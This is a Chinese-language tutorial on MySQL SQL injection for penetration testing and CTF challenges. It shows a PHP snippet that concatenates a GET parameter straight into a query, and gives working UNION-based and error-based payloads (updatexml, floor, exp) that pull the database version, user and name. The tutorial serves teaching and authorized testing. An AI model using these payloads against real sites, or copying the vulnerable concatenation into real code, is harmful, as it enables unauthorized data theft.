渗透测试和CTF中SQL注入攻击
本文内容主要基于MySQL的注入
首先,SQL注入的成因:开发人员在开发过程中,直接将URL中的参数,HTTP Body中的POST参数或其它外来的用户输入(如Cookies、User-Agent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句
常见SQL注入的分类
(1)可回显的注入
联合查询注入
报错注入
通过注入进行DNS请求,从而达到可回显的目的
(2)不可回显的注入
bool盲注
时间盲注
(3)二次注入
一般需要自己编写脚本已实现自动化注入
可以联合查询的SQL注入
在可以联合查询的题目中,一般会将数据库查询的数据回显到页面中
源代码类似如下:
<?php
...
$id = $_GET['id'];
$getid = "SELECT ID FROM users WHERE user_id='$id'";
...
此时,$id变量会将id获取到的参数直接拼接到SQL语句中
Payload如下:
?id=-1'+union+select+1+--+
闭合掉前面的单引号,注释掉后面的单引号
报错注入
主要有三种MySQL数据库报错注入的方法,分别是updatexml,floor和exp
- updatexml
updatexml的报错原理从本质上来说就是函数的报错
以前面的源代码为例:
<?php
...
$id = $_GET['id'];
$getid = "SELECT ID FROM users WHERE user_id='$id'";
...
Payload可以如下:
?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23
- floor
floor报错的原理是rand和order by或group by的冲突
还是以上面的源代码为例,
爆破数据库版本信息的Payload如下:
?id=1'+and(select 1 from (select count(*),concat((select (select (select concat(0x7e, version(),0x7e))) from information_schema.tables limit 0,1), floor(rand(0)*2)) x from information_schema.tables group by x)a)%23
爆破当前用户的Payload:
将上面的payload中的version()改为user()
爆破当前使用的数据库Payload:
将上面的payload中的version()改为database()
- exp
exp报错的本质原因是溢出报错
以一开始的源代码为例:
Payload为:
?id=1' and exp(~(select * from (select user())x))%23